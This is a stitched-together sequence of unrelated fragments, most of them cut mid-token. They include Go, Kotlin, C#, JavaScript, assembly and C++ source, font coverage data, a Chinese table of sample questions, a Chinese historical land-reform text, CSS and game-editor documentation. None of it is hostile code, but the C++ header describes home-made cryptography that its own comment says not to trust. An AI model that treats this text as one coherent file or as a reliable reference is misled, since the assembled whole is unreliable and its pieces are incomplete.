	eg.Go(func() error {
		err := http.Serve(l, s)
		if errors.Is(err, net.ErrClosed) {
			err = nil
		}
		return err
	})
	eg.Go(func() error {
		defer l.Close()
		endpoint := "tcp://" + l.Addr().String()
		t.Log(endpoint)
		c, err := NewClient(endpoint)
		if err != nil {
			return err
		}
		node, err := c.Open(ctx, inet256tests.NewPrivateKey(t, 0))
		if err != nil {
			return err
		}
		return node.Close()
	})
	require.NoError(t, eg.Wait())
}

func TestService(t *testing.T) {
	inet256tests.TestService(t, func(t testing.TB, xs []inet256.Service) {
		x := inet256mem.New()
		for i := range xs {
			xs[i] = newTestService(t, x)
		}
	})
}

func BenchmarkService(b *testing.B) {
	inet256tests.BenchService(b, func(t testing.TB, xs []inet256.Service) {
		x := inet256mem.New()
		for i := range xs {
			xs[i] = newTestService(t, x)
		}
	})
}

func newTestService(t testing.TB, x inet256.Service) inet256.Service {
	l, err := net.Listen("tcp", "127.0.0.1:")
	require.NoError(t, err)
	t.Log("listening on", l.Addr())
	t.Cleanup(func() { l.Close() })
	go func() {
		s := NewServer(x)
		if err := http.Serve(l, s); !errors.Is(err, net.ErrClosed) {
			t.Log(err)


 = SceneOffset(raw - other.raw)

    operator fun times(scale: Float): SceneOffset = SceneOffset(raw * scale)

    operator fun times(scale: Int): SceneOffset = SceneOffset(raw * scale.toFloat())

    operator fun times(scale: SceneUnit): SceneOffset = SceneOffset(raw * scale.raw)

    operator fun times(scale: Scale): SceneOffset = SceneOffset(
        x = x * scale.horizontal,
        y = y * scale.vertical,
    )

    operator fun div(scale: Float): SceneOffset = SceneOffset(raw / scale)

    operator fun div(scale: Int): SceneOffset = SceneOffset(raw / scale.toFloat())

    operator fun div(scale: Scale): SceneOffset = SceneOffset(
        x = x / scale.horizontal,
        y = y / scale.vertical,
    )

    operator fun unaryMinus(): SceneOffset = SceneOffset(
        x = x.unaryMinus(),
        y = y.unaryMinus(),
    )

    operator fun unaryPlus(): SceneOffset = SceneOffset(
        x = x.unaryPlus(),
        y = y.unaryPlus(),
    )

    override fun toString(): String = "SceneOffset(x=$x, y=$y)"

    companion object {
        val Zero = SceneOffset(SceneUnit.Zero, SceneUnit.Zero)
        val Left = SceneOffset(-SceneUnit.Unit, SceneUnit.Zero)
        val UpLeft = SceneOffset(-SceneUnit.Unit, -SceneUnit.Unit)
        val Up = SceneOffset(SceneUnit.Zero, -SceneUnit.Unit)
        val UpRight = SceneOffset(SceneUnit.Unit, -SceneUnit.Unit)
        val Right = SceneOffset(SceneUnit.Unit, SceneUnit.Zero)
        val DownRight = SceneOffset(SceneUnit.Unit, SceneUnit.Unit)
        val Down = SceneOffset(SceneUnit.Zero, SceneUnit.Unit)
        val DownLeft = SceneOffset(-SceneUnit.Unit, SceneUnit.Unit)
    }
}/*
 * This file is part of Kubriko.
 * Copyright (c) Pandula Péter 2025.
 * https://github.com/pandulapeter/kubriko
 *
 * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
 * If a copy of the MPL was not distributed with this file, You can obtain one at
 * https://mozilla.org/MPL/2.0/.
 */
package com.pandulapeter.kubriko.helpers.extensions

import androidx.compose.ui.geometry.Offset
import androidx.compose.ui.util.lerp
import com.pandulapeter.kubriko.actor.body.AxisAlignedBoundingBox
import com.pandulapeter.kubriko.manager.ViewportManager
import com.pandulapeter.kubriko.types.AngleRadians
import com.pandulapeter.kubriko.types.Scale
import com.pandulapeter.kubriko.types.SceneOffset
import com.pandulapeter.kubriko.types.SceneUnit
import kotlin.math.atan2
import kotlin.math.max
import kotlin.math.min
import kotlin.math.sqrt

fun SceneOffset.angleTowards(offset: SceneOffset): AngleRadians = atan2((offset.y - y).raw, (offset.x - x).raw).rad

fun SceneOffset.constrainedWithin(topLeft: SceneOffset, bottomRight: SceneOffset): SceneOffset {
    var offset = this
    if (offset.x < topLeft.x) {
        offset = SceneOffset(topLeft.x, offset.y)
    }
    if (offset.x > bottomRight.x) {
        offset = SceneOffset(bottomRight.x, offset.y)
    }
    if (offset.y < topLeft.y) {
        offset = SceneOffset(offset.x, topLeft.y)
    }
    if


using System;
using Avalonia.Controls;
using Avalonia.Markup.Parsers;
using Avalonia.UnitTests;
using Xunit;

namespace Avalonia.Markup.UnitTests.Parsers
{
    public class SelectorParserTests : ScopedTestBase
    {
        static SelectorParserTests()
        {
            //Ensure the attached properties are registered before run tests
            System.Runtime.CompilerServices.RuntimeHelpers.RunClassConstructor(typeof(Grid).TypeHandle);
            System.Runtime.CompilerServices.RuntimeHelpers.RunClassConstructor(typeof(Auth).TypeHandle);
        }

        class Auth
        {
            public readonly static AttachedProperty<string> NameProperty =
                AvaloniaProperty.RegisterAttached<Auth, AvaloniaObject, string>("Name");

            public static string GetName(AvaloniaObject avaloniaObject) =>
                avaloniaObject.GetValue(NameProperty);

            public static void SetName(AvaloniaObject avaloniaObject, string value) =>
                avaloniaObject.SetValue(NameProperty, value);
        }

        [Fact]
        public void Parses_Boolean_Property_Selector()
        {
            var target = new SelectorParser((ns, type) => typeof(TextBlock));
            var result = target.Parse("TextBlock[IsPointerOver=True]");
        }

        [Fact]
        public void Parses_AttacchedProperty_Selector_With_Namespace()
        {
            var target = new SelectorParser((ns, type) =>
                {
                    return (ns, type) switch


, TC 93₅₇₈.
    '4u1w6o4w4c,'
    // #5213: 4 fonts: HK 97₁₂₄, JP 38₁₇₄, SC 89₄₇₃, TC 93₅₇₈.
    '4u1x11m4a,'
    // #5214: 4 fonts: HK 97₁₂₄, JP 38₁₇₄, SC 90₄₇₄, TC 93₅₇₈.
    '4u1x11n3z,'
    // #5215: 5 fonts: HK 97₁₂₄, JP 42₁₇₈, KR 88₃₄₈, SC 55₄₃₉, TC 93₅₇₈.
    '4u2b6n3m5i,'
    // #5216: 5 fonts: HK 97₁₂₄, JP 42₁₇₈, KR 88₃₄₈, SC 88₄₇₂, TC 93₅₇₈.
    '4u2b6n4t4b,'
    // #5217: 4 fonts: HK 97₁₂₄, JP 43₁₇₉, SC 56₄₄₀, TC 93₅₇₈.
    '4u2c10a5h,'
    // #5218: 5 fonts: HK 97₁₂₄, JP 44₁₈₀, KR 89₃₄₉, SC 89₄₇₃, TC 93₅₇₈.
    '4u2d6m4t4a,'
    // #5219: 5 fonts: HK 97₁₂₄, JP 45₁₈₁, KR 89₃₄₉, SC 87₄₇₁, TC 93₅₇₈.
    '4u2e6l4r4c,'
    // #5220: 5 fonts: HK 97₁₂₄, JP 45₁₈₁, KR 90₃₅₀, SC 88₄₇₂, TC 93₅₇₈.
    '4u2e6m4r4b,'
    // #5221: 4 fonts: HK 97₁₂₄, JP 45₁₈₁, SC 60₄₄₄, TC 93₅₇₈.
    '4u2e10c5d,'
    // #5222: 5 fonts: HK 97₁₂₄, JP 48₁₈₄, KR 91₃₅₁, SC 63₄₄₇, TC 93₅₇₈.
    '4u2h6k3r5a,'
    // #5223: 5 fonts: HK 97₁₂₄, JP 49₁₈₅, KR 101₃₆₁, SC 89₄₇₃, TC 93₅₇₈.
    '4u2i6t4h4a,'
    // #5224: 4 fonts: HK 97₁₂₄, JP 49₁₈₅, SC 88₄₇₂, TC 93₅₇₈.
    '4u2i11a4b,'
    // #5225: 5 fonts: HK 97₁₂₄, JP 50₁₈₆, KR 93₃₅₃, SC 95₄₇₉, TC 93₅₇₈.
    '4u2j6k4v3u,'
    // #5226: 5 fonts: HK 97₁₂₄, JP 62₁₉₈, KR 69₃₂₉, SC 16₄₀₀, TC 93₅₇₈.
    '4u2v5a2s6v,'
    // #5227: 5 fonts: HK 97₁₂₄, JP 62₁₉₈, KR 82₃₄₂, SC 45₄₂₉, TC 93₅₇₈.
    '4u2


�速提高我的英语口语水平？|
|健康饮食|有哪些健康饮食的技巧可以帮助维持身体健康？|
|科技趋势|未来几年内，科技界会迎来哪些重大变革？|
|电影推荐|有哪些近期上映的值得一看的电影？|
|写作技巧|如何提高自己的写作能力，使作品更加生动有趣？|
|时尚潮流|今年秋冬季，哪些服装、配饰是必备的时尚单品？|
|户外运动|对于初次尝试攀岩的人来说，你有哪些需要注意的事项？|
|金融理财|在当前市场情况下，你有哪些投资理财建议可以分享？|
|开发一个人脸识别算法|如何通过计算机视觉技术实现人脸检测和识别？|
|了解新冠病毒传播|你能否说明新冠病毒是如何传播的，并提供一些防止传播的建议？|
|设计一个智能家居系统|如何设计一个智能家居系统，使其能够控制家中的灯光、温度、窗帘等设备？|
|学习英语口语|有哪些有效的方法可以帮助我提高英语口语水平？|
|了解深度学习|深度学习是什么？与传统机器学习有什么不同？|
|开始跑步锻炼|怎样才能科学地开始跑步锻炼？需要注意哪些事项？|
|购买一款笔记本电脑|如何选择一款性价比高、适合自己的笔记本电脑？|
|了解区块链技术|什么是区块链？它有哪些应用场景？|
|写作一篇科技类论文|如何撰写一篇优秀的科技类论文？需要注意哪些方面的问题？|
|学习编程|如何快速入门编程？有哪些编程语言值得学习？|
| 电影推荐                 | 可以推荐一些近期上映的值得观看的科幻电影吗？              |
| 烹饪技巧                 | 如何制作口感松软的海绵蛋糕？                                |
| 健康饮食                 | 我们日常饮食中应该注意哪些营养搭配来保持身体健康？          |
| 历史事件                 | 请介绍一下唐朝开元盛世的历史背景和主要贡献。                  |
| 环保减排                 | 有哪些简单易行的减少碳排放的方法可以推广给大众？            |
| 育儿知识                 | 孩子学习成绩不理想，家长该如何引导和帮助孩子提升学业水平？  |
| 科技发展                 | AI技术在智能家居领域的应用有哪些优势和不足？               |
| 教育趋势                 | 未来教育的趋势是什么，它将如何改变我们对教育的认知和实践？ |
| 公司管理                 | 在企业中，如何有效地进行人才评估和激励措施？              |
| 社交心理                 | 面对社交场合时，如何打破沉默、避免尴尬局面？              |
| 健康饮食


= 'Histórico de Pagamentos';
    } else {
        tituloExtrato.textContent = 'Histórico de Comissões por Artista';
    }

    // Limpar dados anteriores
    document.getElementById('extrato-container').style.display = 'none';
    document.getElementById('mensagem-inicial').style.display = 'block';
}

function carregarExtrato() {
    const mesAno = document.getElementById('mes_ano').value;
    const extratoContainer = document.getElementById('extrato-container');
    const mensagemInicial = document.getElementById('mensagem-inicial');
    const extratoContent = document.getElementById('extrato-content');

    if (!mesAno) {
        extratoContainer.style.display = 'none';
        mensagemInicial.style.display = 'block';
        return;
    }

    // Mostrar loading
    extratoContent.innerHTML = '
Carregando dados...
';
    extratoContainer.style.display = 'block';
    mensagemInicial.style.display = 'none';

    // Fazer requisição AJAX baseada no tipo
    const endpoint = tipoAtual === 'pagamentos' ?
        `/extrato/dados/${mesAno}` :
        `/extrato/comissoes/${mesAno}`;

    fetch(endpoint)
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                if (tipoAtual === 'pagamentos') {
                    extratoContent.innerHTML = formatarExtratoPagamentos(data.extrato);
                } else {
                    extratoContent.innerHTML = formatarExtratoComissoes(data.extrato);
                }
            } else {
                extratoContent.innerHTML = '
Nenhum dado encontrado para este mês.
';
            }
        })
        .catch(error => {
            console.error('Erro ao carregar dados:', error);
            extratoContent.innerHTML = '
Não existem dados para o período informado.
';
        });
}

function formatarExtratoPagamentos(extrato) {
    if (!extrato || extrato.length === 0) {
        return '
Nenhum pagamento encontrado para este mês.
';
    }

    let html = '

Data	Cliente	Artista	Valor	Forma Pagamento

';

    extrato.forEach(item => {
        html += `

            ${item.data}
            ${item.cliente}
            ${item.artista}
            R$ ${parseFloat(item.valor).toFixed(2)}
            ${item.forma_pagamento}

`;
    });

    html += '

';

    // Adicionar resumo financeiro
    const total = extrato.reduce((sum, item) => sum + parseFloat(item.valor), 0);
    const totalComissoes = extrato.reduce((sum, item) => sum + parseFloat(item.comissao || 0), 0);
    const valorLiquido = total - totalComissoes;

    html += `

Resumo Financeiro do Mês

Valor Total Recebido: R$ ${total.toFixed(2)}

Total de Comissões: R$ ${totalComissoes.toFixed(2)}

            Valor Lí


OS(v unsafe.Pointer, n uintptr) {
	if physHugePageSize != 0 {
		// Round v up to a huge page boundary.
		beg := alignUp(uintptr(v), physHugePageSize)
		// Round v+n down to a huge page boundary.
		end := alignDown(uintptr(v)+n, physHugePageSize)

		if beg < end {
			madvise(unsafe.Pointer(beg), end-beg, _MADV_HUGEPAGE)
		}
	}
}

func sysNoHugePageOS(v unsafe.Pointer, n uintptr) {
	if uintptr(v)&(physPageSize-1) != 0 {
		// The Linux implementation requires that the address
		// addr be page-aligned, and allows length to be zero.
		throw("unaligned sysNoHugePageOS")
	}
	madvise(v, n, _MADV_NOHUGEPAGE)
}

func sysHugePageCollapseOS(v unsafe.Pointer, n uintptr) {
	if uintptr(v)&(physPageSize-1) != 0 {
		// The Linux implementation requires that the address
		// addr be page-aligned, and allows length to be zero.
		throw("unaligned sysHugePageCollapseOS")
	}
	if physHugePageSize == 0 {
		return
	}
	// N.B. If you find yourself debugging this code, note that
	// this call can fail with EAGAIN because it's best-effort.
	// Also, when it returns an error, it's only for the last
	// huge page in the region requested.
	//
	// It can also sometimes return EINVAL if the corresponding
	// region hasn't been backed by physical memory. This is
	// difficult to guarantee in general, and it also means
	// there's no way to distinguish whether this syscall is
	// actually available. Oops.
	//
	// Anyway, that's why this call just doesn't bother checking
	// any errors.
	madvise(v, n, _MADV_COLLAPSE)
}

// Don't split the stack as this function may be invoked without a valid G,
// which prevents us from allocating more stack.
//
//go:nosplit
func sysFreeOS(v unsafe.Pointer, n uintptr) {
	munmap(v, n)
}

func sysFaultOS(v unsafe.Pointer, n uintptr) {
	mprotect(v, n, _PROT_NONE)
	madvise(v, n, _MADV_DONTNEED)
}

func sysReserveOS(v unsafe.Pointer, n uintptr) unsafe.Pointer {
	p, err := mmap(v, n, _PROT_NONE, _MAP_ANON|_MAP_PRIVATE, -1, 0)
	if err != 0 {
		return nil
	}
	return p
}

func sysMapOS(v unsafe.Pointer, n uintptr) {
	p, err := mmap(v, n, _PROT_READ|_PROT_WRITE, _MAP_ANON|_MAP_FIXED|_MAP_PRIVATE, -1, 0)
	if err == _ENOMEM {
		throw("runtime: out of memory")
	}
	if p != v || err != 0 {
		print("runtime: mmap(", v, ", ", n, ") returned ", p, ", ", err, "\n")
		throw("runtime: cannot map pages in arena address space")
	}

	// Disable huge pages if the GODEBUG for it is set.
	//
	// Note that there are a few sysHugePage calls that can override this, but
	// they're all for GC metadata.
	if debug.disablethp != 0 {
		sysNoHugePageOS(v, n)
	}
}
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in


(r=n[1],o=n[2],a=n[3],s=n[4]);const i=void 0===s?"right":s;let l,c,u,d;return n[5]===Symbol.for("react.memo_cache_sentinel")?(l=g.jsx(oa,{}),n[5]=l):l=n[5],n[6]!==o||n[7]!==i?(c=m(aa({side:i}),o),n[6]=o,n[7]=i,n[8]=c):c=n[8],n[9]===Symbol.for("react.memo_cache_sentinel")?(u=g.jsxs(Ie,{className:"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary",children:[g.jsx(He,{className:"h-4 w-4"}),g.jsx("span",{className:"sr-only",children:"Close"})]}),n[9]=u):u=n[9],n[10]!==r||n[11]!==a||n[12]!==t||n[13]!==c?(d=g.jsx(ra,{children:g.jsxs(Me,{children:[l,g.jsxs(Te,{ref:t,className:c,...a,children:[r,u]})]})}),n[10]=r,n[11]=a,n[12]=t,n[13]=c,n[14]=d):d=n[14],d}));sa.displayName=Te.displayName;b.forwardRef(((e,t)=>{const n=f.c(9);let r,o,a,s;return n[0]!==e?(({className:r,...o}=e),n[0]=e,n[1]=r,n[2]=o):(r=n[1],o=n[2]),n[3]!==r?(a=m("text-lg font-semibold text-foreground",r),n[3]=r,n[4]=a):a=n[4],n[5]!==o||n[6]!==t||n[7]!==a?(s=g.jsx(ze,{ref:t,className:a,...o}),n[5]=o,n[6]=t,n[7]=a,n[8]=s):s=n[8],s})).displayName=ze.displayName;b.forwardRef(((e,t)=>{const n=f.c(9);let r,o,a,s;return n[0]!==e?(({className:r,...o}=e),n[0]=e,n[1]=r,n[2]=o):(r=n[1],o=n[2]),n[3]!==r?(a=m("text-sm text-muted-foreground",r),n[3]=r,n[4]=a):a=n[4],n[5]!==o||n[6]!==t||n[7]!==a?(s=g.jsx(Le,{ref:t,className:a,...o}),n[5]=o,n[6]=t,n[7]=a,n[8]=s):s=n[8],s})).displayName=Le.displayName;const ia=p.memo((()=>{const e=f.c(1);let t;return e[0]===Symbol.for("react.memo_cache_sentinel")?(t=g.jsx(qe,{name:Be.SIDEBAR}),e[0]=t):t=e[0],t}));ia.displayName="SidebarSlot";const la=e=>{const t=f.c(6),{openWidth:n}=e;let r,o,a,s;return t[0]===Symbol.for("react.memo_cache_sentinel")?(r=g.jsx(na,{className:"lg:hidden"


// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.

#include <unixasmmacros.inc>
#include "AsmOffsets.inc"

.global RhpTrapThreads

// Note: these must match the defs in PInvokeTransitionFrameFlags defined in rhbinder.h
PTFF_SAVE_SP            = 0x00000400

// Bit position for the flags above, to be used with tbz / tbnz instructions
PTFF_THREAD_ABORT_BIT   = 36

// Bit position for the flags above, to be used with tbz/tbnz instructions
TSF_Attached_Bit                = 0
TSF_SuppressGcStress_Bit        = 3
TSF_DoNotTriggerGc_Bit          = 4

//////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// RhpWaitForSuspend -- rare path for RhpPInvoke and RhpReversePInvokeReturn
//
//
// INPUT: none
//
// TRASHES: none
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
    NESTED_ENTRY RhpWaitForSuspend, _TEXT, NoHandler

        // FP and LR registers
        PROLOG_SAVE_REG_PAIR_INDEXED   fp, lr, -0xA0            // Push down stack pointer and store FP and LR

        // Need to save argument registers x0-x7 and the return buffer register x8
        // Also save x9 which may be used for saving indirect call target
        stp         x0, x1, [sp, #0x10]
        stp         x2, x3, [sp, #0x20]
        stp         x4, x5, [sp, #0x30]
        stp         x6, x7, [sp, #0x40]
        stp         x8, x9, [sp, #0x50]

        // Save float argument registers as well since they are volatile
        stp         d0, d1, [sp, #0x60]
        stp         d2, d3, [sp, #0x70]
        stp         d4, d5, [sp, #0x80]
        stp         d6, d7, [sp, #0x90]

        bl          RhpWaitForSuspend2

        // Restore floating point registers
        ldp            d0, d1, [sp, #0x60]
        ldp            d2, d3, [sp, #0x70]
        ldp            d4, d5, [sp, #0x80]
        ldp            d6, d7, [sp, #0x90]

        // Restore the argument registers
        ldp            x0, x1, [sp, #0x10]
        ldp            x2, x3, [sp, #0x20]
        ldp            x4, x5, [sp, #0x30]
        ldp            x6, x7, [sp, #0x40]
        ldp            x8, x9, [sp, #0x50]

        // Restore FP and LR registers, and free the allocated stack block
        EPILOG_RESTORE_REG_PAIR_INDEXED   fp, lr, 0xA0
        EPILOG_RETURN

    NESTED_END RhpWaitForSuspend, _TEXT

//////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// RhpWaitForGCNoAbort
//
//
// INPUT: x9: transition frame
//
// TRASHES: None
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////
    NESTED_ENTRY RhpWaitForGCNoAbort, _TEXT, NoHandler

        // FP and LR registers
        PROLOG_SAVE_REG_PAIR_INDEXED   fp, lr, -0x40            // Push down stack pointer and store FP and LR

        // Save the integer return registers, as well as the floating return registers
        stp         x0, x1, [sp, #0x10]
        stp         d0, d1, [sp, #0x20]


;

        #endregion

        #endregion

        #region IEquatable<NotifyDERStartStopResponse> Members

        #region Equals(Object)

        /// <summary>
        /// Compares two NotifyDERStartStop responses for equality.
        /// </summary>
        /// <param name="NotifyDERStartStopResponse">A NotifyDERStartStop response to compare with.</param>
        public override Boolean Equals(Object? Object)

            => Object is NotifyDERStartStopResponse notifyDERStartStopResponse &&
                   Equals(notifyDERStartStopResponse);

        #endregion

        #region Equals(NotifyDERStartStopResponse)

        /// <summary>
        /// Compares two NotifyDERStartStop responses for equality.
        /// </summary>
        /// <param name="NotifyDERStartStopResponse">A NotifyDERStartStop response to compare with.</param>
        public override Boolean Equals(NotifyDERStartStopResponse? NotifyDERStartStopResponse)

            => NotifyDERStartStopResponse is not null &&

               base.GenericEquals(NotifyDERStartStopResponse);

        #endregion

        #endregion

        #region (override) GetHashCode()

        /// <summary>
        /// Return the hash code of this object.
        /// </summary>
        public override Int32 GetHashCode()
            => base.GetHashCode();

        #endregion

        #region (override) ToString()

        /// <summary>
        /// Return a text representation of this object.
        /// </summary>
        public override String ToString()

            => base.ToString();

        #endregion

    }

}


�态度。（四）必须划清中贫农阶级的分界线，克服过去把许多贫雇农划成中农的错误现象，是否以出卖劳动力为主要生活来源之一，是中贫农阶级划分的界线，过去单看出卖劳力而不问出卖劳动的动机与原因是不对的，贫农大体上都必须借债渡荒，中农虽有借债，但其用途不限于渡荒，有些则为了不可抗击的灾害而借债的。这也是中贫阶级划分界线之一。（五）佃中农的界线尤须规定，过去只以租人土地双倍于中农即作佃中农是错误的，构成佃中农我们初步研究须有如下条件：

   甲、一般的不出卖劳力。

   乙、交租以后，农业及副业的收入相当于一般中农水平，收入方面和生活方面相等于中农者。

   丙、占有比较完备的农具及其他生产资料（与中农差不远）。

   以上的标准究竟妥当不妥当，还要同志们在具体工作过程中去体验和研究。

   在工作方法上，把政策交给贫雇农，一切工作先由贫雇农讨论，然后交由农会公议决定执行，在土改时期充分发挥贫雇农代表会议的作用，但不是脱离中农及农村其他劳动群众，而是加强农会核心作用去团结中农。在新区及阶级情况特别复杂，群众优势未树立的地区，可用光夏乡寻贫访苦，个别串连办法入手，但一串速[连]成熟，即应组织小组，充分运用代表会议形式，加强贫雇农的合法地位，大刀阔斧的进行活动。为了解决贫雇农土改时开会和工作所影响的生活上的困难，可于封存地主余粮中适当照顾。

   此外，又必须反复进行解释放反封建之手，不放反资本主义之手；放贫雇农之手不放流氓之手；放广大群众之手不是放少数积极分子之手；放合法斗争之手不放乱打乱杀之手；这样在干部思想上划清界线。

   （四）克服和平分田的另一方面的问题，是正确和有


GetCmdLineLogGroupsAndLevels()
        {
            string cmd = "--log-debugger=";

            for (int i = 0; i < (int)LogGroup.NumGroups; i++)
            {
                LogGroup group = (LogGroup)i;
                LogLevel logLevel = _logConfig.LogOutput.GetGroupLevel(group);

                cmd += group.ToString().ToLower() + ":" + logLevel.ToString().ToLower();

                if (i < ((int)LogGroup.NumGroups) - 1) cmd += ",";
            }

            return cmd;
        }

        public override void CommandClick(string controlID)
        {
        }

        public override void RefreshDataFromGame()
        {
            _logPanel.ApplyFilters(_logConfig);
        }

        public void Serialize(XmlTextWriter writer)
        {
            _logConfig.ToXml(writer);
        }

        public void DeSerialize(XmlNode node)
        {
            if (node != null)
            {
                try
                {
                    _logConfig.FromXml(node);
                }
                catch
                {
                    _logConfig.SetDefaults();
                }
            }
        }
    }
}


/*
  The contents of this file are dedicated by all of its authors, including

    Michael S. Gashler,
    anonymous contributors,

  to the public domain (http://creativecommons.org/publicdomain/zero/1.0/).

  Note that some moral obligations still exist in the absence of legal ones.
  For example, it would still be dishonest to deliberately misrepresent the
  origin of a work. Although we impose no legal requirements to obtain a
  license, it is beseeming for those who build on the works of others to
  give back useful improvements, or find a way to pay it forward. If
  you would like to cite us, a published paper about Waffles can be found
  at http://jmlr.org/papers/volume12/gashler11a/gashler11a.pdf. If you find
  our code to be useful, the Waffles team would love to hear how you use it.
*/

#ifndef __GKEYPAIR_H__
#define __GKEYPAIR_H__

namespace GClasses {

class GBigInt;
class GRandCrypto;
class GDomNode;
class GDom;

// This is my home-made (so don't trust it) implementation of symmetric key cryptography.
class GKeyPair
{
private:
	GBigInt* m_pPublicKey;
	GBigInt* m_pPrivateKey;
	GBigInt* m_pN;

public:
	GKeyPair();
	GKeyPair(GDomNode* pNode);
	virtual ~GKeyPair();

	static void test();

	// Serialize the key pair
	GDomNode* serialize(GDom* pDoc, bool bIncludePrivateKey);

	// Generates a key-pair using the 3 buffers of cryptographic uint values you pass in.
	// (Typically, you will generate the values in these buffers by using a one-way hash
	// algorithm to digest a larger buffer of entropy values collected from mouse-wiggles,
	// key-strokes, and other such sources of unpredictable values.)
	// uintCount specifies the number of cryptographically random unsigned integers in each of the 3 buffers.
	void generateKeyPair(unsigned int uintCount, const unsigned int* pRawCryptographicBytes1, const unsigned int* pRawCryptographicBytes2, const unsigned int* pRawCryptographicBytes3);

	// Takes ownership of the GBigInt you pass in
	void setPublicKey(GBigInt* pPublicKey);

	// Takes ownership of the GBigInt you pass in
	void setPrivateKey(GBigInt* pPrivateKey);

	// Takes ownership of the GBigInt you pass in
	void setN(GBigInt* pN);

	// Copies the GBigInt you pass in
	void copyPublicKey(GBigInt* pPublicKey);

	// Copies the GBigInt you pass in
	void copyPrivateKey(GBigInt* pPrivateKey);

	// Copies the GBigInt you pass in
	void copyN(GBigInt* pN);

	// Get the public part of the key (not including N which is public too)
	GBigInt* publicKey();

	// Get the private part of the key
	GBigInt* privateKey();

	// Get the N part of the key
	GBigInt* n();

	// Returns the maximum number of bytes that you can encrypt using the PowerMod method
	int maxBlockSize();

	// This is the method that encrypts/decrypts your message.
	// If bPublicKey is true, it uses the public key.  If false it uses the private key.
	// Note: you must delete the buffer this returns
	unsigned char* powerMod(const unsigned char* pInput, int nInputSize, bool bPublicKey, int* pnOutputSize);
};

} // namespace GClasses

#endif // __GKEYPAIR_H__


doc.source .example-wrap{color:#e6e1cf;}:root[data-theme="ayu"] .sidebar .current,:root[data-theme="ayu"] .sidebar .current a,:root[data-theme="ayu"] .sidebar a:hover,:root[data-theme="ayu"] #src-sidebar div.files>a:hover,:root[data-theme="ayu"] details.dir-entry summary:hover,:root[data-theme="ayu"] #src-sidebar div.files>a:focus,:root[data-theme="ayu"] details.dir-entry summary:focus,:root[data-theme="ayu"] #src-sidebar div.files>a.selected{color:#ffb44c;}:root[data-theme="ayu"] .sidebar-elems .location{color:#ff7733;}:root[data-theme="ayu"] a[data-nosnippet].line-highlighted{color:#708090;padding-right:7px;border-right:1px solid #ffb44c;}:root[data-theme="ayu"] .search-results a:hover,:root[data-theme="ayu"] .search-results a:focus{color:#fff !important;background-color:#3c3c3c;}:root[data-theme="ayu"] .search-results a{color:#0096cf;}:root[data-theme="ayu"] .search-results a div.desc{color:#c5c5c5;}:root[data-theme="ayu"] .result-name .primitive>i,:root[data-theme="ayu"] .result-name .keyword>i{color:#788797;}:root[data-theme="ayu"] #search-tabs>button.selected{border-bottom:1px solid #ffb44c !important;border-top:none;}:root[data-theme="ayu"] #search-tabs>button:not(.selected){border:none;background-color:transparent !important;}:root[data-theme="ayu"] #search-tabs>button:hover{border-bottom:1px solid rgba(242,151,24,0.3);}:root[data-theme="ayu"] .settings-menu>a img,:root[data-theme="ayu"] #sidebar-button>a::before{filter:invert(100);}.dark,.dark-theme{--amber-1:#16120c;--amber-2:#1d180f;--amber-3:#302008;--amber-4:#3f2700;--amber-5:#4d3000;--amber-6:#5c3d05;--amber-7:#714f19;--amber-8:#8f6424;--amber-9:#ffc53d;--amber-10:#ffd60a;--amber-11:#ffca16;--amber-12:#ffe7b3}@supports (color:color(display-p3 1 1 1)){@media (color-gamut:p3){.dark,.dark-theme{--amber-1:color(display-p3 .082 .07 .05);--amber-2:color(display-p3 .111 .094 .064);--amber-3:color(display-p3 .178 .128 .049);--amber-4:color(display-p3 .239 .156 0);--amber-5:color(display-p3 .29 .193 0);--amber-6:color(display-p3 .344 .245 .076);--amber-7:color(display-p3 .422 .314 .141);--amber-8:color(display-p3 .535 .399 .189);--amber-9:color(display-p3 1 .77 .26);--amber-10:color(display-p3 1 .87 .15);--amber-11:color(display-p3 1 .8 .29);--amber-12:color(display-p3 .984 .909 .726)}}}.light,.light


presented with a menu of selections and options available to customize
the class. Here is a description of those options:

Property
Description

Number
of Names
the number of
displayable names this class has.
Normally just 1.

Name
#x
a displayable name
of the class. Each displayable name
applies based on a class level.

Name
#x Class Level
a class level at
which this displayable name begins to
apply.

Level
Cap
maximum level that
can be gained in this class, or -1 for unlimited

Base
Class
the base class
category into which the class fits.
Usually this is the same as the ID you specified when doing CREATE
CLASS. However, if you are using a subclass system and you want this
class to belong to a set of subclasses under a base class, and this
particular class is NOT the base class, then this field should be set
to the class ID of the base class it falls under.

Availability

whether or not
players may access this class at
creation, in spells, or never.

HP/Level
Formula
formula for
determining number of hit points gained at each level.  See
help on math formula.  Variables are:  @x1: Players
current class level, @x2: Players adjusted Strength, @x3: Players Max
adjusted Strength, @x4: Players adjusted Dexterity, @x5: Players Max
adjusted Dexterity, @x6: Players adjusted Constitution, @x7: Players
Max adjusted Constitution, @x8: Players adjusted Wisdom, @x9: Players
adjusted Intelligence

Mana/Level
Formula
formula for
determining number of mana points gained at each level.  See
help on math formula.  Variables are: @x1: Players current
class level, @x2: Players adjusted Wisdom, @x3: Players Max adjusted
Wisdom,  @x4: Players adjusted Intelligence, @x5: Players Max
adjusted Intelligence, @x6: Players adjusted Attack Attr,
 @x7:
Players Max adjusted Attack Attr, @x8: Players adjusted Charisma, @x9:
Players adjusted Constitution

Practices/Level
the number of
practice points gained by this class per
level.

Attack/Level
the number of
attack points, modified by a formula
based on the mobs attack attribute, gained per level.

Attack
Attribute
the primary
attribute used with the above to determine
the number of attack points gained per level.

Practices/1st
Level
the number of
practice points received by this class at
f


// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.

using System.CommandLine;
using Microsoft.DotNet.Cli;

namespace Microsoft.DotNet.Tests.ParserTests;

public class CommonOptionsTests
{
    [Fact]
    public void Duplicates()
    {
        var command = new RootCommand();
        command.Options.Add(CommonOptions.EnvOption);

        var result = command.Parse(["-e", "A=1", "-e", "A=2"]);

